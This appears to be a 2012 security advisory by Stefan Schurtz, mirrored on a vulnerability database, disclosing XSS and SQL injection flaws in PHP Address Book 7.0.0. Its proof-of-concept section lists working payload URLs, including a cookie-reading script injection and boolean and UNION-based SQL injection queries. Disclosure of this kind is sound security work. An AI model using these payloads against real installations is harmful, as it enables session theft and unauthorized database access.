Lucene search
K

PHP Address Book 7.0.0 XSS / SQL Injection Vulnerabilities

🗓️ 19 May 2012 00:00:00Reported by Stefan SchurtzType 
zdt
 zdt
🔗 0day.today👁 13 Views

PHP Address Book 7.0.0 XSS/SQLi Vulnerabilitie

Code
##################################################################################
# Advisory: PHP Address Book 7.0.0 Multiple security vulnerabilities
# Advisory ID: SSCHADV2012-013
# Author: Stefan Schurtz
# Affected Software: Successfully tested on PHP Address Book 7.0.0
# Vendor URL: http://sourceforge.net/projects/php-addressbook/
# Vendor Status: informed
##################################################################################
 
==========================
Vulnerability Description
==========================
 
PHP Address Book 7.0.0 is prone to multiple XSS and SQLi vulnerabilities
 
==================
PoC-Exploit
==================
 
// XSS
 
http://[target]/addressbookv7.0.0/preferences.php?from='"</script><script>alert('xss')</script>
http://[target]/addressbookv7.0.0/group.php/" /><script> alert('xss')</script>
http://[target]/addressbookv7.0.0/index.php?group='"</script><script>alert(document.cookie)</script>
 
// SQLi
 
http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1<2,2,1)
http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1>2,2,1)
 
// UNION-based Injection, needs 'magic_quotes=off'
http://[target]/addressbookv7.0.0/view.php?id=1' UNION ALL SELECT NULL, NULL, version(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--+
 
====================
Disclosure Timeline
====================
 
03-Mar-2012 - vendor informed
 
========
Credits
========
 
Vulnerabilities found and advisory written by Stefan Schurtz.



#  0day.today [2018-04-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation